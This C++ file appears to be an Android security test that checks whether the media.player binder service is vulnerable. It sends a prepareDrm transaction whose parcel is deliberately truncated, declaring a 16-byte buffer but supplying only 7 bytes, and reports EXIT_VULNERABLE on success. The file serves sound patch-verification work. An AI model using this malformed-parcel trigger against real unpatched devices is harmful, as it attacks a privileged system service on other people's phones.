/**
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <media/mediaplayer.h>
#include "../includes/common.h"

using namespace android;

int main() {
    constexpr size_t bufferSize = 16;
    constexpr uint32_t prepareDrm = 39;
    constexpr uint32_t unknownTrxnCode = prepareDrm + 5;
    sp<IServiceManager> serviceManager = defaultServiceManager();
    FAIL_CHECK(serviceManager != nullptr);

    sp<IBinder> mediaPlayerService = serviceManager->getService(String16("media.player"));
    FAIL_CHECK(mediaPlayerService != nullptr);

    sp<IMediaPlayerService> iMediaPlayerService =
            IMediaPlayerService::asInterface(mediaPlayerService);
    FAIL_CHECK(iMediaPlayerService != nullptr);

    sp<MediaPlayer> mediaPlayer = new MediaPlayer();
    FAIL_CHECK(mediaPlayer != nullptr);

    sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
    FAIL_CHECK(iMediaPlayer != nullptr);

    Parcel data, reply;
    data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
    status_t status = IMediaPlayer::asBinder(iMediaPlayer)->transact(unknownTrxnCode, data, &reply);
    FAIL_CHECK(status == UNKNOWN_TRANSACTION);

    const uint8_t arr[bufferSize] = {};
    data.write(arr, bufferSize);
    data.writeUint32(bufferSize);
    // only write part of the buffer. If we write `bufferSize-3` or more,
    // binder will round it up to bufferSize. It rounds up to the nearest 4. So,
    // 7 is sufficiently small, it won't get rounded up to the full bufferSize.
    data.write(arr, 7);
    status = IMediaPlayer::asBinder(iMediaPlayer)->transact(prepareDrm, data, &reply);
    return status == OK ? EXIT_VULNERABLE : EXIT_SUCCESS;
}